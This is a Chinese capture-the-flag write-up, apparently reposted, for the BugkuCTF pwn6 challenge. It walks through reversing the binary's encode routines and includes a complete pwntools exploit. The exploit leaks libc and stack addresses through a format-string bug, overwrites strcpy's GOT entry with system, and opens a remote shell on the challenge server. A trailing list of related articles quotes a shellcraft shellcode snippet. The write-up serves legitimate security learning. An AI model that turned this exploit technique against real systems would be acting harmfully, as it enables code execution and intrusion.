BugkuCTF-PWN题pwn6-printf超详细讲解(未提供Libc版本)

前言

此题是我根据某大佬wp(从Libc官网下载的Libc)解出的,我在他的exp脚本基础上进行修改通过LibcSearcher搜索可利用的Libc,因为这道题在Bugku未提供Libc版本

有些部分很难理解,如果有大佬知道的,还请不吝赐教

还是先把解题流程写下来吧

解题流程

查看文件类型:
在这里插入图片描述
查看保护机制:
在这里插入图片描述
IDA64位打开:
伪码:
在这里插入图片描述
查看子程序:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
case 2:
在这里插入图片描述
在这里插入图片描述
对encode2进行分析,发现printf(buf1),应该是要用格式化字符串漏洞,因为buf1并不是这个函数的局部变量,可能还是个格式化字符串不在栈上的格式化字符串漏洞,具体的encode操作是对一个字节进行移位,想利用的话还要先构造一个逆算法。

case 3:
在这里插入图片描述
在这里插入图片描述
对encode3进行分析,buf是0x110大小,但是read是0x100,直接栈溢出是没戏了,这里还有个strcpy函数,可以把encode1里的src复制给buf,后来发现实现不了,放弃了,还是老老实实地通过格式化字符串漏洞写GOT表吧,encode算法也是移位操作,写个逆算法就行。

case 1:
在这里插入图片描述
在这里插入图片描述
对encode1进行分析,该函数的功能时先输入一个key,之后对这个key进行逐位加1异或的操作(具体看伪码,用文字也有点难描述)
之后用前面key生成的一个结果对真正要encode的字符串再进行一个异或操作,最终输出结果。其他没发现啥问题。

解题思路

通过上面的分析,大体思路是通过格式化字符串漏洞写GOT表,把strcpy换成system。具体要解决以下几个问题:
1、程序正常执行的话是一轮游,选择任何一个encode算法,执行完就退出了。需要能重复执行该程序,不能执行一次就退出。
2、如何获取libc基址、程序基址、栈地址。
3、写各个encode的逆算法。

针对第1个问题,发现判断是否退出的关键变量qword_201700在src的后面,而且encode1的read是0x150,覆盖qword_201700使用0x148就够用了,0^x=x,这里的key选用\x00,首次尝试使用’a’*0x148直接过了(其实0x141~-0x148都可以)。

针对第2个问题,使用格式化字符串漏洞,配合gdb调试可以泄露libc基址、程序基址、栈地址。

针对第3个问题,encode2和encode3都是移位操作,不涉及复杂的数学知识,也好实现。

具体调试

针对泄露地址的问题,在printf处下断点,红框的__libc_start_main可以用来泄露libc基址,使用fmtarg,这个插件需要安装到gdb里。(那位大佬说具体的偏移也可以看最左侧的值,这里是0x32,0x32+5=55,这里不明白为什么要加5,有大佬知道的,还请不吝赐教)
在这里插入图片描述
rbp下面的存储是返回地址,和IDA里的信息可以对应上,可以计算出程序基址。使用fmtarg。(偏移的算法也可以是0x2e+5=51,不明白为什么加5,有大佬知道的,还请不吝赐教)
在这里插入图片描述
泄露地址后开始使用格式化字符串不在栈上的利用。首先找三个指针p1->p2->p3。具体见下图的红框。p1(%14$p)、p2(%50 $p)、p3(%54 $p)(这里最疑惑,为什么要找这三个指针,有大佬知道的,还请不吝赐教)
在这里插入图片描述
具体的利用是分两步走的:
第一步首先通过p1写p2的低位字节(改变指向p3的偏移),再利用p2把p3所在的内存改成strcpyGOT表地址。
第二步通过p2写p3(此时已经是strcpyGOT表)的低位字节,再通过strcpyGOT把最终指向地址改为system的libc地址。

首先看第一步的之间过程
在这里插入图片描述
在这里插入图片描述
最终的p3值被改为了strcpyGOT地址
在这里插入图片描述
第二步的之间过程与第一步类似,不一张张贴图了
exp:

#coding=utf-8
from pwn import *
import sys
from LibcSearcher import *
context.log_level="debug"
context.terminal = ['gnome-terminal','-x','sh','-c']#远程调试
p = remote("114.67.246.176",12532)
#本地调试
#p = process('./pwn6')
elf=ELF('./pwn6')#encode2的逆算法
def choice2encode(strarg):return b''.join([p8(((ord(i)&0b11)<<6)+((ord(i)&0b11111100)>>2)) for i in strarg])
#encode3的逆算法
def choice3encode(strarg):return b''.join([p8(((ord(i)&0b00111111)<<2)+ ((ord(i)&0b11000000)>>6)) for i in strarg])#确保程序可以循环执行,不至于一轮游
p.sendlineafter('choice:','1')
p.sendafter('keys?',p8(0))
p.sendafter('encode:','a'*0x148) #0x141也可以,但0x140不可#搜索可能的libc模板:
#libc=LibcSearcher("__libc_start_main", libc_start_main)
#libc_base=libc_start_main-libc.dump('__libc_start_main')   #libc基址
#log.success('libc_base'+hex(libc_base))
#printf=libc.dump('printf')+libc_base   #此libc的printf地址
#log.success('printf'+hex(printf))
#system=libc.dump('system')+libc_base   #此libc的system地址
#log.success('system'+hex(system))#gdb.attach(p,'b printf')
#泄露libc、程序基址、栈地址
p.sendlineafter('choice:','2')
payload=choice2encode('%55$p%51$p%14$p')
p.sendafter('encode:',payload)
p.recvuntil('0x')   #回显的信息为上面的格式请求,在一排
libc_start_main=int(p.recvuntil('0x',drop=True),16)-240
#搜索可能的libc
#libc_base
libc=LibcSearcher("__libc_start_main", libc_start_main)
libc_base=libc_start_main-libc.dump('__libc_start_main')   #libc基址
#main_base
main_base=int(p.recvuntil('0x',drop=True),16)-0xe5b#buf=p.recvuntil("\n",drop=True)#直到接收到\n为止,drop=True表示丢弃\n,buf为接收到的输出但不包括丢弃的\n
#stack_addr
stack_addr=int(p.recv(12),16)
success('leak->libc_base' +hex(libc_base))
success('leak->mainbase' +hex(main_base))
success('leak->stack_addr' +hex(stack_addr))
strcpy_got=main_base+elf.got['strcpy']   #疑问:很奇怪,不是elf.got['strcpy']就可以了吗?为什么还加上main_base?还请大佬不吝赐教
print('strcpyGOT'+hex(strcpy_got))
libc_system=libc_base+libc.dump('system')
print('system'+hex(libc_system))#gdb.attach(p,'b printf')
#格式化字符串,第一步
for i in range(6):print('first'+str(i))x = 5-ioff_lowByte=(stack_addr+32+x)&0xffp.sendlineafter('choice:','2')payload=choice2encode('%'+str(off_lowByte)+'c%14$hhn')p.sendafter('encode:',payload)value_lowByte = (strcpy_got>>(x*8))&0xffp.sendlineafter('choice:','2')payload=choice2encode('%'+str(value_lowByte)+'c%50$hhn')p.sendafter('encode:',payload)#gdb.attach(p,'b printf')
#格式化字符串,第二步
for i in range(6):print('second'+str(i))off_lowByte=(strcpy_got+i)&0xffp.sendlineafter('choice:','2')payload=choice2encode('%'+str(off_lowByte)+'c%50$hhn')p.sendafter('encode:',payload)value_lowByte = (libc_system>>(i*8))&0xffp.sendlineafter('choice:','2')payload=choice2encode('%'+str(value_lowByte)+'c%54$hhn')p.sendafter('encode:',payload)#执行system('/bin/sh')
p.sendlineafter('choice:','3')
p.sendafter('encode:',choice3encode('/bin/sh\x00'))
p.interactive()

运行脚本
在这里插入图片描述
逐渐尝试
输入1,进入到服务器后台才知道libc版本为2.23,所以选8也可以
在这里插入图片描述
得到flag{778b4fe57dc339fa540}
这是才得知libc.so的版本为2.23,那么上面的版本也可以选8

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/525174.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

安装 Visual Studio 插件 Visual Assist - C语言零基础入门教程

目录 一.下载 Visual Assist 插件二.安装 Visual Assist 插件 1.运行 VA_X_Setup2270_0.exe2.激活插件3.重启 Visual Studio 完成安装 三.猜你喜欢 零基础 C/C 学习路线推荐 : C/C 学习目录 >> C 语言基础入门 前一篇文章中我们已经把 Visual Studio 2015 安装 好了&…

名企程序员被裁实录:早上还在改 Bug,晚上就成下岗工

戳蓝字“CSDN云计算”关注我们哦&#xff01;尽管最近新闻铺天盖地的“寒冬说”&#xff0c;由于我多年身处在稳定的大公司里&#xff0c;并没有太多的危机感。昨天大伙一起讨论年会表演什么节目&#xff0c;你演宁采臣&#xff0c;他男扮女装演小倩&#xff0c;大胖就演宁采臣…

BugkuCTF-PWN题pwn7-repeater详细讲解多解法

知识点 解题流程 方法一 查看文件类型&#xff1a; 32位文件 查看保护机制 只开启了NX 32位IDA打开 伪码&#xff1a; 0x70112 0x64100 发现该题目为典型的格式字符串漏洞。 解题思路 此题的大概思路如下&#xff1a; 1、找到libc_start_main在栈内的偏移&#xff0c;…

HR怒甩程序员男友:不加班没上进没前途,网友:惹不起

戳蓝字“CSDN云计算”关注我们哦&#xff01;对于程序员来说&#xff0c;加班就是家常便饭&#xff0c;但也有特例&#xff0c;最近就有为女 HR 在某论坛吐槽&#xff1a;最近和一个程序员谈恋爱&#xff0c;只持续三天就把程序员甩了&#xff0c;原因是男朋友每天六点下班&…

BugkuCTF-Crypto题rsa

解题流程 n&#xff0c;e已经给出&#xff0c;可以看出e特别大&#xff0c;在e特别大的情况下&#xff0c;可以使用wiener attack的方法进行破解&#xff0c;正好工具RsaCtfTool集成了wiener attack的方法&#xff0c;所以可以直接使用RsaCtfTool计算私钥。 典型的rsa… 密钥的…

Visual Studio 2008 完全卸载 - C语言零基础入门教程

目录 一.VS2008 卸载方式一 (不推荐)二.VS2008 卸载方式一 ( 推荐)三.猜你喜欢 零基础 C/C 学习路线推荐 : C/C 学习目录 >> C 语言基础入门 Visual Studio 已经更新到 2019&#xff0c;可能部分公司为了保证代码的兼容性&#xff0c;还是在使用比较老的 2005 或者 2008…

相亲网站比自己优秀的男人太多?单身程序员惊现神操作!

戳蓝字“CSDN云计算”关注我们哦&#xff01;话说&#xff0c;今年还有不到一个月就要过去了&#xff0c;作为一个单身狗的小编&#xff0c;看着大街上一个个成双成对的情侣&#xff0c;不由感到悲从心来&#xff0c;只能妄图从新闻中寻找一丝安慰。结果你别说&#xff0c;我最…

BugkuCTF-Crypto题给你私钥吧

方法一 用 RsaCtfTool这个脚本工具。。。然后python RsaCtfTool.py --publickey pubkey.pem --uncipherfile flag.enc直接用公钥进行攻击解密 方法二 思路&#xff1a;高位攻击还原pq&#xff0c;然后生成密钥进行解密 分三步&#xff1a; 3.第三步通过私钥文件OAEP解密…

Visual Studio 2013 / 2015 完全卸载 - C语言零基础入门教程

目录 一.查找 vs_community.exe 文件二.以管理身份打开 cmd 窗口三.使用微软官方的卸载工具来清理残余数据 1.下载清理工具2.以管理员身份执行 setup.forceduninstall.exe&#xff1b;3.按 Y 进行卸载&#xff1b; 四猜你喜欢 零基础 C/C 学习路线推荐 : C/C 学习目录 >>…

漫画:如何实现大整数相加?

戳蓝字“CSDN云计算”关注我们哦&#xff01;————— 第二天 —————————————————在程序中列出的 “竖式” 究竟是什么样子呢&#xff1f;我们以 426709752318 95481253129 为例&#xff0c;来看看大整数相加的详细步骤&#xff1a;第一步&#xff0c;把整…

BugkuCTF-Crypto题杰斐逊

打开下载文件 这是一类加密方式&#xff0c;叫做轮转密码或者叫比尔密码&#xff0c;解密的方式就是先通过密钥调整字符串的行号&#xff0c;然后通过密文调整一行字符串的顺序&#xff0c;例如&#xff0c;密文的第一个字母是H&#xff0c; 第一行字符串是 则&#xff0c;将…

设置 Visual Studio 字体/背景/行号 - C语言零基础入门教程

目录 一.设置 Visual Studio 颜色主题二.显示 Visual Studio 行号三.设置 Visual Studio 字体大小/风格四.猜你喜欢 零基础 C/C 学习路线推荐 : C/C 学习目录 >> C 语言基础入门 Visual Studio 默认有三个主题&#xff0c;在我们刚开始安装 Visual Studio 的时候就能看到…

为什么你写了好几页的简历,还是被拒了

戳蓝字“CSDN云计算”关注我们哦&#xff01;前几日&#xff0c;有一个读者把他的简历发给我&#xff0c;叫我帮他看一下。我打开Word文档一看&#xff0c;该说的内容确实也都说了&#xff0c;但就是没说到点子上。就好比明明知道痒在哪里&#xff0c;然而却挠不着。真够急人的…

BugkuCTF-Crypto题小山丘的秘密

本题考查希尔密码 解题流程 题目信息&#xff1a; 1、根据提示知道是希尔&#xff08;hill&#xff09;密码 解密网站&#xff1a;www.atoolbox.net/Tool.php?Id914&accsdn flag.txt 里给出A1&#xff0c;一般的希尔密码是A0&#xff0c;B1, C2 …所以字母表需要修改&a…

BugkuCTF-Crypto题一段Base64

解此题需要下载Converter工具 先Base64解码 再Unescape一下 再16进制ASCII解码一下 再Unescape一下 复制括号里面的参数&#xff0c;再10进制ASCII解码一下 再Html解码一下 再Html解码一下 flag{ctf_tfc201717qwe}

程序员加班很严重吗?看看国外程序员怎么怼老板!

戳蓝字“CSDN云计算”关注我们哦&#xff01;来自&#xff1a;https://blog.csdn.net/weixin_43338842/article/details/84339727作者&#xff1a;前端一鸣 &#xff11;、IT已成为最疯狂的加班行业&#xff0c;没有之一夜幕降临&#xff0c;当IT大楼里依然灯火通明时&#xff…

C语言数组下标越界

数组越界的严重性 在 C 语言里&#xff0c;数组需为静态的。数组的大小需要在程序运行前就确定下来。 C语言数组越界的严重性在于对数组元素访问及修改的内容存在不确定性。 这类没有预知性的修改会导致无法确定的错误&#xff0c;发生缓冲区泄露漏洞。 这也就是数组越界的严重…

重磅!英特尔终于挤出10nm芯片 六大技术战略,震动芯片届

戳蓝字“CSDN云计算”关注我们哦&#xff01;最近几日&#xff0c;对英特尔来说可谓大事连连&#xff0c;在北京&#xff0c;正举办20岁生日的英特尔中国研究院的隔壁楼房着了大火&#xff0c;而远在大洋彼岸&#xff0c;英特尔在加州Los Altos举办的“架构日”上连发大招!北京…

shellcraft新姿势

pwnable_orw exp 脚本 这道题的难度在于只能调用 open read 和 write &#xff0c;学到了 shellcraft 新的使用方式 from pwn import * io remote(‘node3.buuoj.cn’,25539) context.binary ‘orw’ elf ELF(‘orw’) shellcode shellcraft.open(’/flag’) shellcode sh…

C语言 Hello World - C语言零基础入门教程

目录 一.Hello World 源码 1.#include – 预处理器指令2.main 函数 – 入口函数3.printf 函数4.return 0 二.Visual Studio 运行生成项目 1.使用快捷键 Ctrl F52.点击 本地 Windows 调试器 三.猜你喜欢 零基础 Python 学习路线推荐 : C/C 学习目录 >> C 语言基础入门 一…